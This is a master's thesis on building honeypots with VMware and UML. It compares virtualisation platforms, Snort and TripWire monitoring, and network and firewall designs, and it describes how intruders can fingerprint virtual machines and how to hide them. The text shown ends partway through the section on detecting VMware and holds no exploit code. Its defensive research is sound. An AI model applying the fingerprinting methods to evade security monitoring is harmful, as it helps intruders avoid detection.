CLARKSON UNIVERSITY
Building HoneyPot Machine
A Thesis by
Dalia Solomon
Department of Mathematics and Computer Science
Submitted in partial fulfillment of the requirements for the
Degree of Master of Science in Computer Science
August 1, 2004
Accepted by the Graduate School
Date
Dean
1
The undersigned have examined the thesis entitled “Building HoneyPot Machine”
presented by Dalia Solomon, a candidate for the degree of Master of Science and
hereby certify that it is worthy of acceptance.
Date
Advisor: Professor Jeanna Matthews
Professor
Professor
2
Abstract
HoneyPot machines are designed to mimic systems in order to mislead intruders
from breaking into the real system. By luring the intruder to a HoneyPot machine an
administrator can monitor the activity of the trespasser. The administrator can then learn
about the vulnerabilities of the current system and redesign it to be more secure. But in
order to do so the administrator must properly build the HoneyPot machine is such a way
that the HoneyPot machine fools the attacker in believing that it’s the real system so that
he/she can effectively log information about the attackers’ behavior. The purpose of this
paper is to analyze different HoneyPot platforms, where I conclude that building a
HoneyPot using virtual machine is highly recommended. Also I suggest ways to
countermeasure HoneyPot fingerprinting, and demonstrate a working HoneyPot system
under different test scenarios. I will look at three different attack categories and analyze
the log reports which are generated by the network intrusion detection tools.
3
Acknowledgments
I would like to thank Prof. Jeanna Matthews for advising me and helping me choose
Building HoneyPot machine to be my subject.
I am also grateful to Prof. XXXXXXXXX and Prof. XXXXXXXXX for being on my
committee.
4
Table of Contents
1. Introduction ................................................................................................................... 10
1.1 Motivation ............................................................................................................... 10
1.2 Contribution ............................................................................................................ 10
1.3 Outline..................................................................................................................... 11
2. Physical and Virtual Machines ..................................................................................... 11
2.1 Standalone Computers vs. Virtual Machines .......................................................... 11
2.2 Virtual Machines Comparison ................................................................................ 13
3. Intrusion Detection and Monitoring Software .............................................................. 15
3.1 Xtail......................................................................................................................... 16
3.2 TripWire.................................................................................................................. 17
3.2.1 What is TripWire?............................................................................................ 17
3.2.2 Methods of Detection ....................................................................................... 19
3.2.3 Commercial vs. Open Source .......................................................................... 19
3.3 Snort ........................................................................................................................ 20
4. HoneyPot Designs ......................................................................................................... 21
4.1 UML Design ........................................................................................................... 22
4.2 Detecting UML Machine ........................................................................................ 22
4.2.1 Proc .................................................................................................................. 23
4.2.2 Bootlog and File System Information .............................................................. 24
4.3 UML HoneyPot Features and Fingerprint Countermeasures.................................. 24
4.3.2 HoneyPot proc file system (Hppfs) Support .................................................... 26
4.4 Monitoring Tool - Teletype (TTY) Logging .......................................................... 26
4.4 VMware Design ...................................................................................................... 27
4.5 Host-Only HoneyPots Design ................................................................................. 27
4.6 Firewall ................................................................................................................... 30
4.7 Host-Only and Bridge HoneyPots Design .............................................................. 31
4.8 Detecting VMware Machine ................................................................................... 32
4.8.1 VMware Tool Detection .................................................................................. 32
4.8.2 System Detection ............................................................................................. 33
4.8.3 Mac Address Detection .................................................................................... 34
4.8.4 Devices Detection ............................................................................................ 35
4.8.5 Computer System Detection ............................................................................ 36
4.9 Countermeasures for VMware Fingerprinting ........................................................ 36
4.9.1 Script/Hex Editor ............................................................................................. 37
4.9.2 OS Configuration ............................................................................................. 37
5. VMware Benchmark ..................................................................................................... 39
6. Studying, Simulating and Analyzing Attacks ............................................................... 41
6.1 Serv-U Buffer Overflow Attack: (Windows XP) ................................................... 42
6.1.1 Setup ................................................................................................................ 42
6.1.2 Analyze Snort Report ....................................................................................... 44
6.2 Port Scan Probe: (Windows XP)............................................................................. 47
6.2.1 Setup ................................................................................................................ 47
6.2.2 Analyze Snort Report ....................................................................................... 48
5
6.3 Ethereal Buffer Overflow Exploit:.......................................................................... 49
6.3.1 Setup ................................................................................................................ 49
6.3.2 Analyze Snort Report ....................................................................................... 51
6.4 Netbus Backdoor: (Windows XP) .......................................................................... 51
6.4.1 Setup ................................................................................................................ 52
6.4.2 Analyze Snort Report ....................................................................................... 54
6.5 Subseven Backdoor ................................................................................................. 55
6.5.1 Analyze Snort Report ....................................................................................... 56
6.6 Windows DCOM RPC Exploit ............................................................................... 57
6.6.1 Setup ................................................................................................................ 58
6.6.2 Analyze Snort Report ....................................................................................... 58
6.7 IIS SMTP Exploit ................................................................................................... 59
6.7.1 Setup ................................................................................................................ 59
6.7.2 Analyze Snort Report ....................................................................................... 61
6.8 ISS BlackIce Exploit ............................................................................................... 62
6.8.1 Setup ................................................................................................................ 62
6.8.2 Analyze Snort Report ....................................................................................... 63
6.9 Samba trans2open Overflow ................................................................................... 64
6.9.1 Setup ................................................................................................................ 64
6.9.2 Analyze Snort Report ....................................................................................... 65
6.10 SHOUTcast Remote Exploit ................................................................................. 66
6.10.2 Analyze Snort Report ..................................................................................... 67
7. Related work ................................................................................................................. 68
8. Summary ....................................................................................................................... 70
9. Conclusion .................................................................................................................... 72
References ......................................................................................................................... 74
Appendices ........................................................................................................................ 75
Appendix A: TripWire .................................................................................................. 75
A.1 Installing TripWire ............................................................................................. 75
Appendix B: Snort ........................................................................................................ 76
B.1 Installing WinPcap: ............................................................................................ 76
B.2 Installing Snort: .................................................................................................. 77
B.3 Testing Snort: ..................................................................................................... 78
Appendix C: UML ........................................................................................................ 78
C.1 Installing UML ................................................................................................... 78
Appendix D: VMware Design ...................................................................................... 81
D.1 Installing VMware ............................................................................................. 81
D.2 Network Setup – Internet Connection Sharing (ICS) ........................................ 81
D.3 Network Setup in VMware ................................................................................ 83
D.4 Setting Static IP address- Guest OS ................................................................... 85
D.5 Setting Host OS IP Forwarding ......................................................................... 86
D.6 Installing Firewall .............................................................................................. 88
Appendix E: Metasploit ................................................................................................ 91
E.1 Metasploit Framework........................................................................................ 91
Appendix F: VMware Features ..................................................................................... 92
F.1 VMware Features................................................................................................ 92
6
List of Tables
Table 1: VMware countermeasures .................................................................................. 36
Table 2: VMware Bunchmark .......................................................................................... 40
Table 3: Exploits used on the HoneyPot machines ........................................................... 41
7
List of Figures
Figure 1: TripWire flowchart [8] ...................................................................................... 18
Figure 2: Snort – Average ram usage .............................................................................. 21
Figure 3: My UML HoneyPot design ............................................................................... 22
Figure 4: Proc CPU info ................................................................................................... 23
Figure 5: UML Bootlog file .............................................................................................. 24
Figure 6: Host kernel Skas mode ...................................................................................... 25
Figure 7: UML tty logging ................................................................................................ 26
Figure 8: UML user keystrokes logging ........................................................................... 27
Figure 9: Host-only HoneyPots Design ............................................................................ 28
Figure 10: Host-only and Bridge HoneyPots design ........................................................ 31
Figure 11: Registry info .................................................................................................... 33
Figure 12: Windows XP MAC address ............................................................................ 34
Figure 13: Gentoo MAC address ...................................................................................... 35
Figure 14: Redhat MAC address....................................................................................... 35
Figure 15: Device Manager .............................................................................................. 36
Figure 16: Hex Editor ....................................................................................................... 37
Figure 17: Changing MAC address in Windows XP ........................................................ 38
Figure 18: VMware Benchmark ....................................................................................... 40
Figure 19: Serv-U version 4.1 ........................................................................................... 42
Figure 20: Serv-U exploit ................................................................................................. 43
Figure 21: Buffer Overflow opens prompt ....................................................................... 43
Figure 22: alert.ids file ...................................................................................................... 44
Figure 23: Serv-U, FTP MDTM overflow alert................................................................ 45
Figure 24: Serv-U FTP log subdirectory .......................................................................... 45
Figure 25: TCP_32773-21.ids file, Serv-U buffer overflow............................................. 46
Figure 26: Shellcode for Serv-U buffer overflow in the C file ......................................... 46
Figure 27: TCP_32774-21.ids file, Serv-U buffer overflow............................................. 47
Figure 28: SuperScan version 3.00 ................................................................................... 48
Figure 29: SuperScan alert ................................................................................................ 48
Figure 30: Ethereal exploit execution ............................................................................... 49
Figure 31: Ethereal Capture .............................................................................................. 50
Figure 32: Ethereal membership query ............................................................................. 50
Figure 33: Eethereal exploit alert ...................................................................................... 51
Figure 34: Netbus installation ........................................................................................... 52
Figure 35: Netbus Client ................................................................................................... 53
Figure 36: Snort - editing the snort.conf file for Netbus................................................... 53
Figure 37: Snort- editing backdoor.rules file for Netbus .................................................. 54
Figure 38: Snort detecting Netbus in alert.ids file ............................................................ 54
Figure 39: Subseven version 2.1.5 .................................................................................... 55
Figure 40: Subseven server editor..................................................................................... 56
Figure 41: Snort alert.ids file detecting Subseven ............................................................ 56
Figure 42: Snort log file for Subseven .............................................................................. 57
Figure 43: Windows DCOM RPC Exploit execution. ...................................................... 58
8
Figure 44: Snort DCOM RPC alert ................................................................................... 59
Figure 45: SMTP setup ..................................................................................................... 60
Figure 46: SMTP exploit execution .................................................................................. 61
Figure 47: BlackIce exploit execution .............................................................................. 63
Figure 48: Snort alert.ids file for BlackIce ....................................................................... 63
Figure 49: Snort log file for BalckIce exploit ................................................................... 63
Figure 50: Seeing Samba machine on windows XP ......................................................... 64
Figure 51: Gaining root access using Samba exploit ........................................................ 65
Figure 52: Snort alert.lds file for Samba exploit............................................................... 65
Figure 53: Snort log file for Samba exploit ...................................................................... 66
Figure 54: ShoutCast execution ........................................................................................ 67
Figure 55: ShoutCast exploit execution ............................................................................ 67
Figure 56: Snort alert. ids and log files for ShoutCast exploit.......................................... 68
A. 1: TripWire changes report .......................................................................................... 76
A. 2: Tripwire details report.............................................................................................. 76
B. 1: WinPcap ................................................................................................................... 78
B. 2: Snort execution......................................................................................................... 79
B. 3: Snort alert.ids file reporting telnet access ................................................................ 79
C. 1: UML installation ...................................................................................................... 79
C. 2: UML execution screen ............................................................................................. 80
C. 3: UML Consol screen ................................................................................................. 80
D. 1: ICS setup .................................................................................................................. 82
D. 2: ICS Adapter selection .............................................................................................. 83
D. 3: ICS network connection selection ........................................................................... 83
D. 4: ICS connection to bridge ......................................................................................... 84
D. 5: VMware Host-Only network ................................................................................... 84
D. 6: VMware disable DHCP ........................................................................................... 85
D. 7: VMware disable NAT .............................................................................................. 85
D. 8: Gentoo static IP ........................................................................................................ 86
D. 9: Redhat static IP ........................................................................................................ 86
D. 10: Windows XP static IP ............................................................................................ 87
D. 11: IP forwarding selection .......................................................................................... 87
D. 12: IP forwarding configuration ................................................................................... 88
D. 13: Windows XP firewall disable ................................................................................ 89
D. 14: ZoneAlarm firewall setup ...................................................................................... 89
D. 15: ZoneAlarm rules setup ........................................................................................... 90
D. 16: ZoneAlarm IP range setup ..................................................................................... 90
D. 17: ZoneAlarm program control .................................................................................. 91
D. 18: ZoneAlarm alert and log table ............................................................................... 91
E. 1: Metasploit help ......................................................................................................... 92
E. 2: Matasploit payloads .................................................................................................. 92
E. 3: Metasploit options .................................................................................................... 93
E. 4: Metasploit targets ..................................................................................................... 93
F. 1: Snapshot in VMware ................................................................................................ 94
F. 2: Revirt in VMware ..................................................................................................... 94
F. 3: REDO files of VMware ............................................................................................ 95
9
1. Introduction
1.1 Motivation
A HoneyPot is defined as a system designed with deliberate vulnerabilities, which
is exposed to a public network. The goal of creating such system is first to lure intruders
away from the real system, and secondly to closely monitor the intruder to study the
exploits which are used.
First, HoneyPot machines closely imitate a real system in such a way that an
attacker would falsely believe he/she is exploiting a production machine. If a HoneyPot
machine is properly designed an attacker would not be able to distinguish between the
two machines.
Second, by monitoring the different intrusions an administrator can use the
information gathered to improve upon the real system. The administrator could learn
about the weaknesses of the HoneyPot machine and correlate those to the problems with
the actual system. Thus, weaknesses and vulnerabilities in the real system could easily be
detected and then fixed.
1.2 Contribution
This paper gives an in depth discussion of HoneyPot systems. Including the
different steps it takes to set up a HoneyPot system. And a study of different exploits
performed on a HoneyPot system.
This paper builds upon the work of Ryan C. Barnett, Monitoring VMware
HoneyPots, [2] where he discusses the techniques used to build and monitor the VMware
HoneyPot system. In Barnett’s paper he discusses method of using VMware to build a
10
HoneyPot. In order to monitor the HoneyPot system Barnett uses Xtail, which is a utility
that watches a file for increased size and displays the resulted changes.
In addition to the research of Barnett, I studied VMware using different guest OS,
namely Gentoo, Redhat and Windows XP. From analyzing Xtail usage as a monitoring
tool I saw that it is ineffective. Thus, I looked at different methods of monitoring
VMware HoneyPot using Snort and TripWire. I also recommend ways to countermeasure
HoneyPot fingerprinting. I analyzed the effectiveness of using VMware to be a HoneyPot
system. Unlike Barnett that used one test scenario, WU-FTPD, I demonstrated ten
different test scenarios.
1.3 Outline
The rest of the thesis is organized as follows: Section 2 compares a stand alone
computer with a virtual machine. In addition, it discusses the differences between UML
and VMware; Section 3 talks about intrusion detection and monitoring tools including
TripWire and Snort; Section 4 discusses HoneyPot designs and fingerprinting
countermeasures; Section 5 analyzes the effectiveness of using VMware HoneyPot;
Section 6 discusses and analyzes the different exploits used against a VMware HoneyPot;
Section 7 talks about related work and finally Section 8 concludes my thesis with a
summary.
2. Physical and Virtual Machines
2.1 Standalone Computers vs. Virtual Machines
HoneyPot system could be built using either physical machines or virtual machines.
A physical machine is a stand alone computer solely dedicated to perform as a HoneyPot
11
system. A virtual machine is a simulated computer that runs on a host system. For this latter
case, the HoneyPot system is built in the emulated environment. HoneyPot built on
physical machines or virtual machines have their advantages and disadvantages.
The main advantage of a physical HoneyPot is that it is a real system, which is
identical to an actual operational system. There are three major disadvantages in building a
physical HoneyPot. First, the cost is high; to have a good HoneyPot system one really
needs to have multiple OS with various configurations represented. Also, in simulating a
network of HoneyPots (HoneyNet), it is vital to have a broad range of applications and
services. Therefore, having a dedicated machine for each configuration is rather expensive.
Second, waste of CPU resources; the sole purpose of building a HoneyPot is to “wait for
attacks” and then monitor the intrusion, meaning no other useful work is preformed, thus
the CPU is in an idle state most of the time. Third, it is time consuming to set up and
analyze these physical machines. The administrator has to approach the different machines
and manually configure and/or analyze them.
There are several advantages of building a HoneyPot on a virtual machine. First, it
is cheaper; to create a network of HoneyPots (HoneyNet), only one physical machine is
required. Meaning multiple OS with different configurations can simultaneously be
executed under a single host machine. Second, better usage of CPU resources; in spite of
the fact that there could be multiple virtual machines running on a host that are waiting for
attacks, the administrator could continue with his real work on the host machine aside from
running the HoneyNet. Meaning the CPU is not in an idle state like the physical HoneyPot
machine. Third, easy to setup and easy to maintain; there is a centralize control for a virtual
machine; all computers are built on the host machine so the administrator can monitor and
12
configure the different HoneyPots directly from the host. The administrator no longer has
to manually go to the different machines in order to configure them. Also since all of these
HoneyPots are built on simulated environment on the host machine, there is only one set of
hardware. The administrator doesn’t have to deal with figuring out how to install and
configure different devices. In addition, the administrator does not need to reinstall an OS
on a virtual machine if a system is compromised, due to the fact that VMWare gives the
administrator an option to take a snapshot of the current OS and then revert back to its
original state i.e. before the system was compromised (Appendix F).
There are four disadvantages in building a HoneyPot on a virtual machine. First,
there can only be a limited number of OS that can run on a host machine. The limitation is
due to the lack of processor, memory and disk space that are available on the host machine.
Second, since all virtual machines are built on the host machine, if there is a hardware or
software failure in the host machine then the entire HoneyNet could be shut down. Third, it
is possible for an attacker to fingerprint a virtual machine if countermeasures are not taken.
Forth, there are limitations in using both VMware and UML as mentioned in the next
section.
2.2 Virtual Machines Comparison
Virtual environments could be created through the use of different software. The
software uses different techniques to construct their virtual environment. The virtual
environments could be created by various commercial and open source applications. This
section will discuss three of these virtual environments: Xen, UML and VMware.
13
Xen- Xen is a special OS for x86 that creates a virtual environment to run multiple guest
operating systems. It is an open source VM, which the major advantage includes high speed
over UML and VMware. Xen architecture allows the support of multiple operating system
images with very low performance overhead as oppose to VMware and UML. This causes
a disadvantage since in order to achieve this, Xen requires that the guest OS be ported over
to Xen architecture. Meaning one cannot install the guest OS directly using the OS
distribution CD. The process of porting Linux OS to Xen requires a large amount of code
patching to the kernel. Also, Xen is new to the community thus there is less documentation
available which makes the process of building a HoneyPot a lot harder.
UML- UML is an alteration to the Linux kernel to make it run as a program inside the
main Linux system. In order for UML to interact with the hardware, it uses the host’s
system call interface.
VMware- VMWare is a PC emulator that runs on Intel x86 - compatible hardware. It is
designed to create a virtual environment to install a new guest OS on the existing host OS.
UML vs. VMware
UML is open-source software. This makes UML very flexible, since people can
easily patch the source to add additional features that are useful when it is used as a
HoneyPot. Some of these features include: tty logging, hppfs, and skas mode. To mention
what these features are: Tty logging is the logging of traffic to the host, e.g. keystrokes.
Hppfs is a file system that allows entries in /proc (this directory contains info about CPU,
drives, Bios etc) to be rewritten to make the UML look like a physical machine. Skas mode
14
is a UML operation mode that creates address spaces identical to the host (Discussed later
on).
Unlike UML, VMware is commercial software. So there is customer support and
other services support provided by the manufacturer. VMware provides a point and click
GUI which makes it ideal for even a novice.
In UML the host and guest OS must be Linux, meaning Windows is currently not
supported. This is a disadvantage since majority of OS users are Windows users, thus most
exploits are found in Windows, and since the goal of a HoneyPot is to strengthen the
security flaws, a windows OS is required. Interestingly, VMware supports both Windows
and Linux machines. This is important in an ideal network where different OS support is
needed.
The architecture of UML is designed in a way that the code can be ported to OS
running on different platform. Meaning, UML is not restricted to Intel x86- compatible
hardware, where VMWare supports only Intel x86 hardware.
Today, studies are done to effectively build HoneyPot systems using virtual
machines such as UML and VMWare. Both UML and VMWare are virtual machines
which enable guest operating systems to run on top of the host system. Though these two
machines have much in common, there are major differences between the two.
3. Intrusion Detection and Monitoring Software
In order to properly build a HoneyPot system, an administrator must install proper
monitoring and intrusion detection tools. These tools could be classified under two
different categories. The first category is system monitoring that includes tools which log
system activities and report changes in the system. Tripwire and Xtail are under this
15
category. The second category of tools is network monitoring which include tools that
detect intrusions and log activities from the network. Software such as Snort falls into this
category.
The following sections discuss three different monitoring and intrusion detecting
tools: Xtail, TripWire and Snort. The tools which I configured in my HoneyPot include
TripWire and Snort.
3.1 Xtail
Ryan C. Barnett [2] used the Xtail utility to detect intrusions on his HoneyPot
project. Xtail monitors files which are specified by the administrator and displays the
information that is added to them. Xtail is installed on the host OS and looks at the REDO
file of VMware. From my findings I learned that Xtail will display only information which
is added to the end of the file. So hypothetically if the new information is inserted in the
middle of the disk space then the added information is not recorded. After saving the output
to a file the analyzing process comes next. To analyze the file Barnett used the strings –a
command to print the printable character sequences. From my experience, opening the file
and searching for the attack code takes extensive amount of time. Thus using Hex editor
was my next choice. Though Hex editor did not help much in displaying the printable
character file, displaying the original unmodified file was extremely helpful. By looking at
the unmodified file through Hex Editor one could see the full content of the attack, where it
was almost impossible to extract information using a text editor. Because the report given
by Xtail could be extremely large and the administrator needs a way to pin point the attack,
I came to a conclusion that different intrusion detection tools should be used to pin point
the attacks.
16
3.2 TripWire
TripWire was installed on my HoneyPot because it is a system detection tool
which is used to determine if a file has been added, removed or changed in the system.
Once an attacker exploits the system he/she could insert malicious code. With Tripwire I
am able to see the changes that were made to the HoneyPot and learn about the attackers’
behavior.
There are two versions of TripWire available: TripWire Open Source and the
commercial version. For this research I focused more on the open source version.
3.2.1 What is TripWire?
TripWire is a software package that stores a database of file attributes. TripWire
database stores checksum of files. It is also a program that updates and reports
information regarding the database.
TripWire stores rules in a policy file twpol.txt, concerning the severity of various
types of irregularities in the checked files. Using the policy rules, Tripwire detects
violations to a system and helps the administrator determine what caused the violation. If
the violation is not due to normal system activities, then an administrator can further
investigate the causes of the abnormality. Else the administrator can update the database
to accept the new integrity check so TripWire will no longer report them as violation.
17
Figure 1: TripWire flowchart [8]
The flowchart above shows the uses of TripWire. As shown, the user has to first
install, customize and initialize TripWire. When the administrator runs changes report on
TripWire, TripWire will search through the system and its database for changes in the
file. It will report any changes to the administrator. If there are no changes then the
system is not compromised. If there are changes then the administrator must investigate if
the changes are legitimate. If not the administrator must fix the break-in, else he/she must
determine if it is a policy file problem. If it is a policy file problem, then the administrator
should update the policy file, else he/she needs to update the database.
18
3.2.2 Methods of Detection
TripWire is a host based Intrusion Detection System (IDS). One advantage of a
host based IDS is that it does not have to look for patterns, only changes in a set of rules.
Normally an intrusion system comes with a default policy file containing all the default
rules for a system. The administrator can then look at the policy file to see the activity of
a typical system and can then tweak the policy file to meet his/her system needs.
TripWire will scan a file system and then compute digital signatures for the files
that are on the system. It stores all signatures on a secure host. Meaning storing the file
on the host OS rather then saving it on the guest OS. In order for TripWire to detect a
compromise, TripWire checks the current files with the information stored in its database.
TripWire uses a target based integrity checks technique. This method checks
changes in system, files, programs, hardware etc that should not normally be changed.
TripWire monitors files and programs by creating hashes using MD5 cryptography and
saving them to the database. It compares the hash values of the current system files and
programs to the database.
3.2.3 Commercial vs. Open Source
The commercial version of TripWire and Open Source version have much in
common yet there are various differences between the two. The commercial version is
available for Windows, Linux and UNIX machines. Unlike the Open Source TripWire
which is not available for Window machines. The Commercial version comes with a GUI
which provides a more user friendly environment. Also the commercial TripWire comes
with a Manager and Server applications.
19
Some notable differences between the commercial TripWire and the Open Source
TripWire are the options available. The commercial has much more features for detecting
violations in UNIX and Windows then in the open source.
3.3 Snort
Snort is an open source network intrusion detection software that analyzes and logs
packets in real-time. Snort is sometimes used to detect various attacks and detect probes on
the system, such as buffer overflows and port scans respectively. Once it detects an attack it
can alert the administrator via email or save them to a file.
For my HoneyPot machines, I used snort on the host machine. This way, an attack
against my guest OS would be logged thus I would be alerted. Also by doing so, an attacker
won’t be able to detect or disable snort since it is installed on the host OS.
Working with Snort I became aware of the fact that Snort uses a configure file
called snort.conf. This file contains global variables and path to the rule files in the rule
directory. Snort version 2.1.3, which I used, contains forty-eight rule files by default. The
rules will provide information of the who, where and what of an incoming packet, and what
to do if all attributes match. Once the attributes match I analyzed four main actions. First,
alert action; this generates an alert to the alert.ids file. Second, log action; this will log the
packets into the log directory. Third, pass action; the administrator can use to ignore the
packet. Fourth, activate action; that alerts and turns on another rule.
The administrator has the option to modify these rules to suit his system. In my case
almost all the attacks were detected by Snort; however some rules needed be modified to
properly detect the attack. Only one attack was not detected by snot, the PCT overflow
exploit. This problem could be overcome by manually editing the SMTP rules in Snort.
20
Three different modes are available to the administrator Sniffer, Packet logger and
Network Intrusion Detection. Sniffer mode displays the packets on the screen, Packet
logger mode logs the packets and saves it to a file and Network intrusion detection mode
not only logs the packet to a file but also matches it to a set of rules. Clearly the network
intrusion mode was used on my host OS. This mode requires about 39.7 MB ram on
average where the other two modes require about 4.7MB ram on average each.
Ram (MB)
Ram Usage on Average
45.5
40.5
35.5
30.5
25.5
20.5
15.5
10.5
5.5
0.5
Sniffer
Packet Logger
Network Intrusion
Detection
Mode
Figure 2: Snort – Average ram usage
4. HoneyPot Designs
For this project I chose to build my HoneyPot using VMware. However for
completeness I will discuss briefly about UML HoneyPot. In order to use UML on
Windows XP, I installed UML on VMware.
21
4.1 UML Design
The following is a possible method for testing a HoneyPot built in UML.
Remember, UML can be installed only under Linux OS. Since my Host OS is Windows
XP, I had to first install VMware, next install a guest OS and only then could I install
UML. Note: Gentoo will act as a host OS for UML. On UML I tested Debian and Redhat,
which will operate as a guest OS.
Figure 3: My UML HoneyPot design
4.2 Detecting UML Machine
Since UML is not built solely to be used as a HoneyPot machine, but rather to
experiment with kernel and buggy software, it is possible for an attacker to fingerprint
UML. Meaning there are ways that an attacker can distinguish UML from a real machine.
22
Luckily there are techniques to counter against the different ways that an attacker can
fingerprint a UML machine. In the following sections I will discuss about the methods
that UML can be detected and some patches that could be used to disguised UML. This
way an attacker is tricked into believing he is working with a real system.
4.2.1 Proc
In UML, the various files in the /proc could be use to fingerprint a UML machine.
Files such as /proc/mounts, /proc/interruppts, /proc/cpuinfo, /proc/cmdline and /proc
/devices contain information that is unique to UML.
Below is a printout of the /proc/cpuinfo file; the vendor_id is User Mode Linux;
model name is UML; and the mode is skas for this virtual machine. An attacker who
looks at this will know that this is not a real system.
Figure 4: Proc CPU info
23
4.2.2 Bootlog and File System Information
Bootlog contains list of files which are opened and used as the OS loads. The
information could be found in /var/log/boot.log. In addition, information about various
file systems (e.g. hard drives, partitioning) could fingerprint the machine; this could be
found in the file /etc/fstab.
Below is an output of a UML Bootlog file.
Figure 5: UML Bootlog file
4.3 UML HoneyPot Features and Fingerprint Countermeasures
Due to an increase in interest of HoneyPot design, several features have been
added to UML. These features help make UML more useful as a HoneyPot machine.
These features include skas mode and hppfs.
24
4.3.1 Separate Kernel Address Space (Skas) Support
Using the default Tracing Thread (TT) mode an attacker can write to the UML
kernel and gain access to the host. Skas addresses this problem. Skas is a patch that is
applied to the host kernel to allow UML kernel and its processes to run on a separate
address spaces. This feature makes the UML kernel data invisible to the processes. Due
to the fact that the UML kernel address spaces are invisible to the process, the attacker
cannot see nor write to the UML kernel data, and thus this resolves some fingerprinting
and security problems. In addition to solving security and fingerprinting problems, Skas
mode improves the performance of UML. It has been shown that the kernel build is
almost twice as fast with Skas mode then with TT mode [9]. Also the host OS will show
only four processes running per UML as oppose to a dozen or more.
Figure 6: Host kernel Skas mode
25
4.3.2 HoneyPot proc file system (Hppfs) Support
In addition to using Skas mode, the administrator needs Hppfs support. Hppfs reads
the proc folder in the UML working directory on the host OS. It loads this directory into
the UML guest OS proc directory. And thus gives the administrator the option to modify
the /proc information in the UML machine from the host, making the HoneyPot machine
appear as a real OS.
With this feature it is no longer possible for an attacker to
fingerprint a UML HoneyPot by looking at the /proc information.
4.4 Monitoring Tool - Teletype (TTY) Logging
TTY Logging allows the administrator to log the keystrokes that the attacker uses
while he gains access to the HoneyPot machine. This is especially useful when logging
an SSH session where network packets are encrypted. Using traditional packets sniffer
software, where an administrator can see only encrypted packets; TTY logging captures
the keystrokes and saves them into a file on the host OS.
To enable tty logging you must enable it in Character DevicesEnable tty
logging. Doing so will enable UML to capture all keystrokes in the virtual environment.
Figure 7: UML tty logging
26
The example below shows the log file of the users’ keystrokes.
Figure 8: UML user keystrokes logging
4.4 VMware Design
For this paper I have chosen VMware as the software to create the virtual
environment. Using VMware I am able to create a HoneyPot system under my target host
OS, which is Windows XP. Also VMware simplified the HoneyPot creation process with
its GUI and features such as Revirt. Using VMware I am able to install both Windows and
Linux machines as the guest OS.
4.5 Host-Only HoneyPots Design
The following is my HoneyPot design. The host OS is Windows XP Pro that runs
VMWare. Three HoneyPot machines are built on VMWare as Guest OS; RedHat, Gentoo
and Windows XP pro. Each HoneyPot is configured with different static IP address. In
addition, different services are installed on each guest OS. Intrusion Detections tools are
installed on the host OS, which include Snort and Zone Alarm Pro firewall. Intrusion
27
detection tool, TripWire, is installed on the guest OS, where the database files are saved on
the host OS.
Figure 9: Host-only HoneyPots Design
In VMware there are different network options: bridge, host-only and NAT.
Bridge networking means that the virtual network is “bridged” to a physical network.
Meaning, virtual machines using this network have their own IP address and appear as a
normal computer in the network. Host-Only networking creates a private network
between the host OS and the guests OS. However the guest OS cannot access the outside
network. But this problem could be overcome using Windows Internet Connection
Sharing. This option turns out to be an ideal method for setting up and controlling the
28
HoneyPot network (discusses later). NAT works similarly to host-only but provides the
guest OS access to the external network.
The Host-Only option is an ideal method for building a Honeynet since traffic
from the guest OS must go through the host OS to get to the network. This way firewall
and monitoring tools can easily be set up on the host OS.
To allow the guest OS to access the internet, I need to install Internet Connection
Sharing on the host OS. This way, the host OS will act as a default gateway and also
provides the DHCP and Nat services for the guest.
By default Windows (Host OS) will automatically create an IP for each guest
machine using DHCP. But since I am configuring Windows (Host OS) to forward
packets to a specific HoneyPot machines’ IP address, I do not want to manually change
the configuration each time the machines start up. The solution that I used was to assign a
static IP address to each HoneyPot machine on the network (configuration could be found
in the appendix D.4).
To allow an intruder from outside your private network to access the Guest OS, I
need to forward the incoming network traffic from the Host OS to the Guest OS. With
this setup, I am able to monitor intruders that attempt on gaining access to the HoneyPot
machine (setup found in the appendix D.5).
From the way IP forwarding is designed in Internet Connection Sharing (ICS)
one can forward a packet from a host to only one HoneyPot. The reason is that in order to
forward a packet to a HoneyPot, the administrator must manually assign different ports to
different HoneyPots (IP addresses). For example, let assume that apache application
which uses port 80 is running on Gentoo HoneyPot and Windows web server which uses
29
the same port is running on the Windows XP HoneyPot. If a packet with port 80 comes
from the external network the host OS is not able to direct this packet to multiple
HoneyPots so it looks at the administrator setting in ICS to determine the forwarding IP
address. In my case the packet is going to be forwarded to Gentoo HoneyPot.
4.6 Firewall
The next step is to set up a firewall for my HoneyPot. I want to set up my firewall
so that I allow all incoming traffic but limit outgoing traffic from my HoneyPot. With this
setup, I will lock the intruders inside my HoneyPot and prevent them from using my
HoneyPot to stage attacks against other networks. Also by controlling outgoing traffic I
am able to protect the host OS from the intruders inside the HoneyPot system.
Not all firewalls give the user an easy way to control incoming and outgoing
messages. The firewall provided by XP gives limited features. Thus I chose to use Zone
Alarm Firewall. This software has the features I require in setting up my HoneyPot. Also
Zone Alarm will log alerts, giving me an extra indication system aside from Snort and
Tripwire (setting found in the appendix D.6).
30
4.7 Host-Only and Bridge HoneyPots Design
Figure 10: Host-only and Bridge HoneyPots design
The second HoneyPot design is a Bridged and Host-Only Network layout. In this
design one of the machines is bridged to the host computer while the two others remain as
host only. In this design, the bridged HoneyPot machine has its own IP address (IP
24.59.49.XXX) and appears to be an independent computer in the public network. Meaning
an outsider doesn’t have to use the host IP address to access the HoneyPot machine. In
addition, Internet Connection Sharing and IP forwarding which are based on port numbers
are no longer required for the bridged machine. Intrusion detection tools and firewall are
31
installed on the host machine and serves the same purpose as mentioned in the previous
sections.
There are several advantages for this Host-only and Bridge setup. First, the
administrator no longer has to manually configure the IP forwarding for the bridged
HoneyPot. Second, each machine could provide there own services i.e. two http servers are
accessible from the public network. Remember, in the host-only setup a packet could be
forwarded to only one HoneyPot.
The major disadvantage is that this setup is using an IP address which could be used
by another computer on the network. Also obtaining additional IP address involves
spending more money in building the HoneyNet.
In the paper “Virtual Honeynets” ,Michael Clark claims that it is harder to log and
filter traffic using bridge connection. I however disagree with his claim. Logging messages
from the guest machine is as easy with bridge as it is with Host-Only setup. Also, filtering
traffic using Zone Alarm enables me to easily filter the incoming and outgoing packets
from the bridged HoneyPot machine.
4.8 Detecting VMware Machine
Despite the fact that VMware simulates an environment that closely resembles a
physical system, there are various methods of detecting a VMware machine. Detection
can be done via software tools, system bios, Mac address, devices and system
information.
4.8.1 VMware Tool Detection
One method of detecting VMware is by looking at the software that is installed on
the virtual machine. This is especially true when the user has installed VMware Tools on
32
their system. If this is done, a hacker can detect VMware tools by looking at the control
panel in Windows or search for the VMware directory.
4.8.2 System Detection
An attacker can also check the computer system to see if the current system is a
VMware machine. The system information provides details that could fingerprint the
system as a VMware machine.
